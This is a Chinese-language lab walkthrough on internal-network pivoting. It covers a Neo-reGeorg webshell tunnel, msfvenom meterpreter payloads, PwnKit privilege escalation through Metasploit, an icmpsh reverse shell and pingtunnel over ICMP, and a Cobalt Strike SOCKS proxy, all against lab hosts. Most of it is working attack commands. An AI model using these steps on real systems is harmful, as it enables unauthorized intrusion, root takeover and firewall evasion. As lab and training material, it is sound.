内网渗透中创建内网隧道
一、Neo代理
环境简介:
VUL综合内网靶场
kali(攻击机):192.168.91.129
web-centos:192.168.91.143 (外网主机)(nginx反向代理)
web-ubantu主机:192.168.93.100 (内网主机)
1.1 、获取 Ubuntu的getshell
参考我的另一篇文章:红日内网靶场渗透实战笔记
https://windeskyblog.love/archives/37c95036-38c3-4f94-8173-3200e576fecd
通过网页中写进一句话木马连接蚁剑获取到Ubuntu的shell:获取到的是普通用户的权限。
1.2 、内网主机提权
利用MSF中漏洞进行提权
(1)、msf要能连接ubuntu(2)、利用木马
(3)、在kali中创建一个代理
(4)、利用第三方软件Neo
(1)、创建Neo代理
Neo下载地址:https://github.com/L-codes/Neo-reGeorg
若下载速度缓慢,可将其换为csdn的镜像
clone下来项目或下载后把Neo软件压缩包上传到Kali ,解压缩
利用 neoreg.py
生成一个php木马文件
python3 neoreg.py generate -k 123456
# 123456 :设置将来解密这个文件的密码
# tunnel.php
输入命令后会在根目录下生成neoreg_servers
文件夹,cd进去查看。
目前靶机的web环境使用的是php,所以我们使用tunnel.php
就可以,把此文件利用蚁剑上传到之前getshell的ubuntu上。
用kali连接这个php文件来创建代理。
(2)、创建代理
python3 neoreg.py -k 123456 -u http://192.168.91.143/test_tunnel/tunnel.php
测试:
在kali上访问Ubuntu
kali的浏览器设置为代理ip和端口
首先先查看下phpinfo的信息
浏览器访问下内网ip:192.168.93.100,成功访问
在kali中创建全局代理,使得后续msf能连接到内网ip
vi /etc/proxychains4.conf
# 在文档的最后加上配置:
socks5 127.0.0.1 1080
测试 :
proxychains curl http://192.168.93.100
成功访问到了内网ip
(3)、利用MSF拿下ubuntu的控制权
利用的还是木马
- 创建一个木马(正向)
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f elf -o test_tunnel.elf
-
将木马上传到Ubuntu(之前连外网的那个ip),利用蚁剑
-
将木马运行起来
需要绕过
disable_functions
在蚁剑的虚拟终端运用插件绕过
disable_functions
,cd到上传木马的目录中,修改执行权限为可执行权限
#授予木马执行权限:
chmod u+x test_tunnel.elf
#运行木马:
./test_tunnel.elf
(4)、msf框架连接木马
- msf框架设置全局代理
#设置代理
setg proxies socks5:127.0.0.1:1080
# 查看代理
setg proxies
- 连接木马
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set rhost 192.168.93.120 #这里连接到内网的ip
set rport 4444
run
getshell的并不是管理员
(5)利用系统漏洞提权
搜可利用漏洞
search suggester
use 0
set session 2
run
提权:
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set payload linux/x64/meterpreter/bind_tcp
show options
set session 2
set lport 6666
set rhost 192.168.93.120
run
可以看到成功getshell,拿到root的权限
二、ICMP隧道技术
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。**最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。**在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
pingtunnel
是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具下载地址:https://github.com/esrrhs/pingtunnelgithub.com
qt图像界面地址:https://github.com/esrrhs/pingtunnel-qt
icmpsh
是一个基于 ICMP(Internet Control Message Protocol)的 shell 工具,它允许你通过 ICMP 请求在目标主机上执行命令并获取结果。这里主要讲解icmpsh工具,下载地址:https://github.com/inquisb/icmpsh
特点:利用ICMP协议和隧道工具,不需要端口就可以设置类似于代理的隧道技术。
2.1 、ICMP工具
2.2 、实验环境
- Kali 攻击主机 (192.168.91.129)
- win2008 (跳板机 192.168.91.138 10.10.10.1)
- win7 (内网主机 10.10.10.110)
- win2003 (内网主机 10.10.10.2)
2.3 、测试ICMP协议
目的 :利用ICMP协议 ,把win2008反弹到Kali上 。
(1)在跳板机上启动ICMP服务
把ICMP安装拷贝上传到跳板机win2008,启动ICMP服务
icmpsh.exe -t 192.168.91.129 # ip 为攻击机kali的ip
(2)在kali上安装python2和pip环境
将ICMPSH工具上传到kali中,在当前路径下执行如下命令:
#python2 ./icmpsh_m.py [攻击机kali的IP] [跳板机IP]
python2 ./icmpsh_m.py 192.168.91.129 192.168.91.138
此命令如执行成功,就会把跳板机的操作权交给kali
Win2008d shell 就反弹到 Kali 上 控制,其中的数据交互是通过ICMP协议传递
附录:前置准备
要先关闭kali自身的ICMP
因为icmpsh工具要替代本身系统的ping命令的应答程序,所以需要输入如下命令来关闭本机信息的ICMP答应(如果要恢复,则设置为0)否则Shell的运行会不稳定
sysctl -w net.ipv4.icmp_echo_ignore_all=1
(1)、修改Kali的python默认版本
查看默认版本 :
└─# python --version Python 3.10.9
因为Kali的python默认版本是 3.0 ,ICMP协议只支持2.x ,我们可以在Kali中临时修改 一下python版本,或者永久修改也可以 。
查看Kali上python版本
ll /usr/bin/python*
修改版本为Python2
临时修改
alias python='/usr/bin/python2.7'
永久修改
update-alternatives --install /usr/bin/python python /usr/bin/python2 100
查看python版本 :
alias python='/usr/bin/python2.7' python --version
(2)、设置icmp_echo报文忽略不响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
(3)、下载ICMP并安装python-impacket
下载icmp
git clone https://github.com/inquisb/icmpsh.git
安装
python-impacket
apt-get install python-impacket
如果安装
python-impacket
遇到报错,可以直接从git上下载impacket并安装git clone https://github.com/SecureAuthCorp/impacket.git cd impacket python setup.py install
2.4 、搭建内网的隧道(代理)
-
下载代理工具 (pingtunnel)
https://github.com/esrrhs/pingtunnel
-
把pingtunnel工具 上传到跳板机并运行
3. 在Kali中运行客户端并进行Socks5代理
./pingtunnel -type client -l :8088 -s 192.168.91.138 -sock5 1 # 跳板机 IP
下载Linux版本的 pingtunnel
在kali中启动了一个服务端口 8088
-
在kali浏览器中配置代理
-
浏览器访问内网服务
-
配置Kali全局代理
vi /etc/proxychains4.conf # 在最后一行 如果前面有其他 比如 socks4 代理 暂时注释掉 socks5 127.0.0.1 8088 # 代理在使用时 前面需要加 proxychains
在windows 中数据无法传递 ,可以试试 linux
三、CS做代理
3.1 、实验环境
Kali 攻击机(192.168.91.129)
CS框架的安装所在的主机
- win2008 (跳板机 192.168.91.138 10.10.10.1)
- win7 (内网主机 10.10.10.110)
- win2003 (内网主机 10.10.10.2)
3.2 、启动CS框架
kali启动cs服务端:
./teamserver 192.168.91.129 admin123
客户端进行连接:
3.3 、CS框架上线跳板机
cs生成一个木马,上传到跳板机运行上线cs
3.3.1 、查看IP (跳板机IP)
3.3.2 、查看内网IP段
3.3.4 、端口扫描
首先把我们扫描到IP的加入Target中去 ,然后进行端口扫描 :
点击Scan开始扫描
3.3.5 、CS创建代理
点击Lanuch即可创建
进入开启cs服务端的kali,查看代理有没有被创建成功
可以看到开启了8888端口,说明代理创建成功。
测试:
看看能不能访问内网(win7)开启的服务,浏览器设置代理。
成功访问。
总结:
只要能设置代理的工具 ,都可以使用 。
代理的端口设置在 CS服务器所在的主机 (这里是Kali)
接下来的操作和MSF 、ICMP等设置代理打操作是一样的 。